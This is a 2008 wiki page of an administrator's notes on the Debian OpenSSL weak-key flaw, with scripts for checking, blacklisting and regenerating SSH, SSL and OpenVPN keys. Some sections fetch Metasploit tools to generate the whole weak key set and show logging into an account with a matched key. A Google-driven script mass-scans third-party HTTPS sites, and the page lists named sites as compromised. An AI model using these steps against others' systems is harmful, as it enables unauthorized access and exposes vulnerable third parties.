Difference between revisions of "Debian OpenSSL"

From YobiWiki
Jump to navigation Jump to search
Line 142: Line 142:
 
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key
 
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key
 
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key
 
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key
  +
</source>
  +
  +
If only the DSA keys must be regenerated (ALL DSA MUST BE REGENERATED!):
  +
<source lang=bash>
  +
mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.unsafe
  +
mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.unsafe
  +
ssh-keygen -f /etc/ssh/ssh_host_dsa_key -t dsa -N ''
 
</source>
 
</source>
   

Revision as of 10:19, 17 May 2008

This is a compilation of my notes on this matter

Links

misc

OpenSSH

Blacklists

cat $1 | sed 's/^............//' | sort > blacklist.$(echo $1|cut -c 1-8|tr a-z A-Z)

DELETE ALL DSA KEYS

Ok there are nice DSA blacklists but actually if a good DSA key was used on a bad machine, the key is compromised! (thanks Roland)

Check

Etch version gives you openssh-blacklist package and ssh-vulnkey in openssh-client
This Etch version has a sshd which checks all client connections against the blacklist so even if the keys are still in authorized_keys you should be safe

On Lenny/Sid, you can extract the Etch /etc/ssh/blacklist* and /usr/bin/ssh-vulnkey and use them

To checks all my vservers I did this [{{#file: ssh-myvuln.sh}} little script]:

#!/bin/bash


function filter () {
    sed 's/\(Not blacklisted: \)/\1                   /;
         s/\(COMPROMISED: \)/\1                       /;
         s/222$/.broken/;
	 '
}

function scan () {
    #echo $1
    ssh-vulnkey $1 | filter
}

function checkpath () {
    mypath="$1"
    echo "===== server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/*_key 2>/dev/null); do scan $i; done
    echo "===== discarded broken server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/*_key.pub.broken 2>/dev/null); do cp $i ${i%%.broken}222; scan ${i%%.broken}222; rm ${i%%.broken}222; done
    echo "===== client keys at $mypath ====="
    for i in $(ls ${mypath}root/.ssh/id* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/id* 2>/dev/null); do scan $i; done
    for v in $(ls ${mypath}etc/passwd 2>/dev/null); do 
        for u in $(cat $v|awk -F: '{print $6}'|sort|uniq|egrep -v "^(/root|/home/[a-z0-9]*)$"|sed 's#^/##'); do
            for i in $(ls ${v%%etc/passwd}${u}/.ssh/id* 2>/dev/null); do scan $i; done
        done
    done
    echo "===== authorized external client keys at $mypath ====="
    for i in $(ls ${mypath}root/.ssh/*_keys* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/*_keys* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}var/lib/backuppc/.ssh/*_keys* 2>/dev/null); do scan $i; done
    echo "===== known external server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}root/.ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}var/lib/backuppc/.ssh/known_hosts 2>/dev/null); do scan $i; done
}

checkpath "/"
checkpath "/home/vservers/*/"

To get a resume sortable on the fingerprint:

ssh-myvuln.sh |grep ":..:..:"|sed 's/\(.\).* \(..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..\) \(.*\)/\2 \1 hostname:\3/'|sort > mykeys

To get a list to check against a blacklist:

cat mykeys |cut -c 19,20,22,23,25,26,28,29,31,32,34,35,37,38,40,41,43,44,46,47|sort|uniq > myfing
cat myfing blacklist | sort | uniq -d

Scan

[{{#file: dowkd.pl.patch}} Patch] against dowkd.pl for fetching keys from /etc/ssh/blacklist*

--- dowkd.pl   2008-05-16 16:00:53.000000000 +0200
+++ dowkd.pl   2008-05-16 15:55:23.000000000 +0200
@@ -47,19 +47,29 @@
 my $db;
 my %db;
 
+my $blacklistdir='/etc/ssh';
+
 sub create_db () {
     $db = tie %db, 'DB_File', $db_file, O_RDWR | O_CREAT, 0777, $DB_BTREE
        or die "error: could not open database: $!\n";
 
     $db{''} = $db_version;
-    while (my $line = <DATA>) {
-       next if $line =~ /^\**$/;
-       chomp $line;
-       $line =~ /^[0-9a-f]{32}$/ or die "error: invalid data line";
-       $line =~ s/(..)/chr(hex($1))/ge;
-       $db{$line} = '';
+    opendir(my $dh, $blacklistdir) or die "Cannot open dir $blacklistdir : $!\n";
+    while(my $e=readdir($dh)) {
+       next if $e =~ m/^\.\.?$/;
+       next unless $e =~ m/^blacklist/;
+print STDERR "Reading $e\n";
+       open (my $fh, $blacklistdir.'/'.$e) or die "Cannot open file $e : $!\n";
+       while (my $line = <$fh>) {
+           next if $line =~ /^\**$/;
+           next if $line =~ /^#/;
+           chomp $line;
+           $line =~ /^[0-9a-f]{20}$/ or die "error: invalid data line";
+#print STDERR "Line= $line\n";
+           $line =~ s/(..)/chr(hex($1))/ge;
+           $db{$line} = '';
+       }
     }
-
     $db->sync;
 }
 
@@ -106,6 +116,7 @@
 sub check_hash ($$) {
     my ($name, $hash) = @_;
     ++$keys_found;
+    $hash =~ s/^......//;
     if (exists $db{$hash}) {
        ++$keys_vulnerable;
        print "$name: weak key\n";
for ip in $(netenum 85.17.183.154/27); do ./dowkd.pl host $ip; done

Netenum is part of irpas

Renew server keys

mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.broken
mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.broken
mv /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.broken
mv /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_rsa_key.pub.broken
dpkg-reconfigure openssh-server
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key

If only the DSA keys must be regenerated (ALL DSA MUST BE REGENERATED!):

mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.unsafe
mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.unsafe
ssh-keygen -f /etc/ssh/ssh_host_dsa_key -t dsa -N ''

Generate vuln keys & blacklists

To generate yourself the vulnerable key set:

wget http://sugar.metasploit.com/ubunturoot.tar.bz2
wget http://metasploit.com/users/hdm/tools/debian-openssl/dokeygen.sh

Put dokeygen.sh in the root of the ubuntu filesystem Example for RSA 1024 (but RSA keys were upgraded by default to 2048 since Sept 2005)

sudo chroot ubunturoot
for ((i=1;i<32768;i++)); do 
  echo $i;
  /dokeygen.sh $i -t rsa -b 1024 -f /tmp/rsa_1024_$i; 
done

Ideally keys & blacklists must be generated on 32 & 64-bit platforms, little & big endian

Then to extract the fingerprints to make the blacklist

for ((i=1;i<32768;i++)); do 
  if [ -e rsa_1024_$i ]; then
    echo $i;
    f=$(ssh-keygen -l -f rsa_1024_$i|sed 's/1024 \([0-9a-f:]\+\) rsa.*/\1/;s/://g') 
    mv rsa_1024_$i $f-$i 
    mv rsa_1024_$i.pub $f-$i.pub 
    echo $f |sed 's/^............//'>> blacklist.RSA-1024 
  fi 
done

Exploiting a vuln key:
Example of a fingerprint found in an authorized_keys file:

ssh -i 491f487168134647f111a882c8a04059-21223 bibi@hostname
bibi@hostname:~$

OpenSSL

Check

wget https://launchpad.net/ubuntu/hardy/+source/openssl-blacklist/0.1-0ubuntu0.8.04.2/+files/openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz
tar xzf openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz
cd openssl-blacklist-0.1
Edit debian/control and cleans the dependence on openssl for Ubuntu
fakeroot debian/rules binary
cd ..
sudo dpkg -i openssl-blacklist_0.1-0ubuntu0.8.04.2_all.deb

Now you have openssl-vulnkey tool

But this works only on private key files.
Here is a [{{#file: openssl-vulnkey.patch}} patch] to get it working against public certificate files (so you can check certifs of your favorite https sites, e.g. by exporting the certifs with FF)

--- openssl-vulnkey     2008-05-16 19:56:51.000000000 +0200
+++ openssl-vulncert    2008-05-16 19:56:36.000000000 +0200
@@ -55,7 +55,7 @@
 
 def get_bits(file):
     '''Find bit length of file'''
-    rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
+    rc, report = cmd(['openssl', 'x509', '-text', '-in', file])
     if rc != 0:
         try:
             print >> sys.stderr, "ERROR:\n%s" % (report)
@@ -64,16 +64,16 @@
         return ""
 
     for line in report:
-        if "Private-Key: (1024" in report:
+        if "Public Key: (1024" in report:
             return "1024"
-        elif "Private-Key: (2048" in report:
+        elif "Public Key: (2048" in report:
             return "2048"
 
     return ""
 
 def get_modulus(file):
     '''Find modulus of file'''
-    rc, report = cmd(['openssl', 'rsa', '-noout', '-modulus', '-in', file])
+    rc, report = cmd(['openssl', 'x509', '-noout', '-modulus', '-in', file])
     if rc != 0:
         try:
             print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report)

Scan

Next step is to get the certificates chain from the distant website
Here is [{{#file: fetch-https-1cert.c}} fetch-https-1cert.c] to do the job

/**
 * Fetch an HTTPS page and display the certificate chain.

Sources:
http://curl.haxx.se/mail/lib-2005-06/0106.html
http://openvpn.net/archive/openvpn-devel/2005-12/msg00000.html
http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg173845.html

 */

#include <assert.h>
#include <stdio.h>
#include <curl/curl.h>
#include <openssl/ssl.h>

char error_buffer[CURL_ERROR_SIZE] = "";

CURLcode go(CURL *curl, char *url);
CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm);
int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx);
void print_certificate(X509 *cert);

/* arrays for certificate chain and errors */
#define MAX_CERTS 20
X509 *certificate[MAX_CERTS];
long certificate_error[MAX_CERTS];
char site[256];
int count=0;

int main(int argc, char *argv[])
{
  unsigned int i;
  CURL *curl;
  CURLcode code;

  assert(argc == 2);

  for (i = 0; i != MAX_CERTS; i++) {
    certificate[i] = 0;
    certificate_error[i] = X509_V_OK;
  }

  curl = curl_easy_init();
  assert(curl);

  strncpy(site, argv[1], 256);
  site[255]=0;
  code = go(curl, argv[1]);
  if (code != CURLE_OK)
    fprintf(stderr, "Error %u: %s\n%s\n",
        code,
        curl_easy_strerror(code),
        error_buffer);

  curl_easy_cleanup(curl);

  return 0;
}

CURLcode go(CURL *curl, char *url)
{
  CURLcode code;
  FILE* devnull = NULL;
  devnull = fopen("/dev/null", "w+");
  code = curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, error_buffer);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_URL, url);
  if (code != CURLE_OK)
    return code;
//  code = curl_easy_setopt(curl, CURLOPT_WRITEHEADER, stdout);
//  if (code != CURLE_OK)
//    return code;
  code = curl_easy_setopt(curl, CURLOPT_WRITEDATA, devnull);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5);
  if (code != CURLE_OK)
    return code;

  /* fetch the page even if verifying the certificates fails */
  code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
  if (code != CURLE_OK)
    return code;

  code = curl_easy_setopt(curl, CURLOPT_SSL_CTX_FUNCTION, sslctxfun);
  if (code != CURLE_OK)
    return code;

  code = curl_easy_perform(curl);
  fclose(devnull);
  return code;
}

CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm)
{
  SSL_CTX_set_verify(sslctx, SSL_VERIFY_PEER, verify_callback);

  return CURLE_OK;
}

static void
extract_x509_field_ssl (X509_NAME *x509, const char *field_name, char *out, int size)
{
  int lastpos = -1;
  int tmp = -1;
  X509_NAME_ENTRY *x509ne = 0;
  ASN1_STRING *asn1 = 0;
  unsigned char *buf = 0;
  int nid = OBJ_txt2nid(field_name);

  *out = '\0';
  do {
    lastpos = tmp;
    tmp = X509_NAME_get_index_by_NID(x509, nid, lastpos);
  } while (tmp > 0);

  /* Nothing found */
  if (lastpos == -1)
    return;

  x509ne = X509_NAME_get_entry(x509, lastpos);
  if (!x509ne)
    return;

  asn1 = X509_NAME_ENTRY_get_data(x509ne);
  if (!asn1)
    return;
  tmp = ASN1_STRING_to_UTF8(&buf, asn1);
  if (tmp <= 0)
    return;

  strncpy(out, buf, size);
  OPENSSL_free(buf);
}

int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx)
{
  X509 *cert = X509_STORE_CTX_get_current_cert(x509_ctx);
  int depth = X509_STORE_CTX_get_error_depth(x509_ctx);
  int err = X509_STORE_CTX_get_error(x509_ctx);
  FILE *peercert_file;
  char s[256];
  char ii[256];

  /* save the certificate by incrementing the reference count and
   * keeping a pointer */
  if (depth < MAX_CERTS && !certificate[depth]) {
    certificate[depth] = cert;
    certificate_error[depth] = err;
    cert->references++;
  }

  extract_x509_field_ssl (X509_get_subject_name(cert), "CN", s, 256);
  /* write peer-cert in tmp-file */
  if (s[0]==0)
    {
      strcpy(s, site+8);
    }
  sprintf(ii, "%d", count++);
  strcat(s, ii);
  printf("Writing cert in: %s\n", s);
  peercert_file = fopen(s, "w+");
  if(!peercert_file)
    {
      printf("Failed to open file : %s", s);
      return 1;
    }
  if(PEM_write_X509(peercert_file,cert)<0)
    {
      printf("Failed to write peer certificate in PEM format");
      fclose(peercert_file);
      return 1;
    }
  fclose(peercert_file);

  return 1;
}

So now empowered with Google we can do sth like this:

#!/bin/bash

REQ=$1
REQ=${REQ:-site:be}

start=0

for ((i=$start;i<10;i++)); do
    echo "Fetching 100 results starting from ${i}00"
    for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
                  egrep -o "https://[a-z0-9.-]+"|\
                  sort|\
                  uniq); do
        ./fetch-https-1cert $site |\
            cut -c 18- |\
            xargs -d '\n' -l1 -r ./openssl-vulncert | sed "s#\$# (from $site)#"
    done
done
./scanhttps |grep COMPROMISED|uniq -w 53
COMPROMISED: 942c267f69f53567053ad77f980f2d8980270759 leclea.be1 (from https://leclea.be)
COMPROMISED: 9c5526d7d2d152e8ac437a669741a6ed6bed78a9 www.phpcompta.be0 (from https://phpcompta.be)
COMPROMISED: 97c7fdf8136f5c47d3aa2b9667dd252f6af7ebf6 phpcompta.be2 (from https://phpcompta.be)
COMPROMISED: fb62587b6fd13b6b7de54fcf10de77f586ac3362 Dr. Robert Necesseter0 (from https://tirna.nog.be)
COMPROMISED: a7ae2ec301f7b7b844371bc76c20ee0747c32f15 www.pptickets.be4 (from https://www.pptickets.be)
COMPROMISED: bbc4679d1ddccb716593c069708ad2cb21115a47 a248.e.akamai.net1 (from https://www.nokia.be)
COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be)
COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be)

OpenVPN

It's not about the SSL keys, those can be checked with openssl-vulnkey.
It's about the shared static keys (openvpn -genkey)

wget https://launchpad.net/ubuntu/hardy/+source/openvpn-blacklist/0.1-0ubuntu0.8.04.1/+files/openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz
tar xzf openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz
cd openvpn-blacklist-0.1
fakeroot debian/rules binary
cd ..
sudo dpkg -i openvpn-blacklist_0.1-0ubuntu0.8.04.1_all.deb

Now you have openvpn-vulnkey tool

Others

  • encfs
    • My key is older, ouf!

Status

  • zeus
  • hera
  • themis
  • olympe
  • mercure
  • venus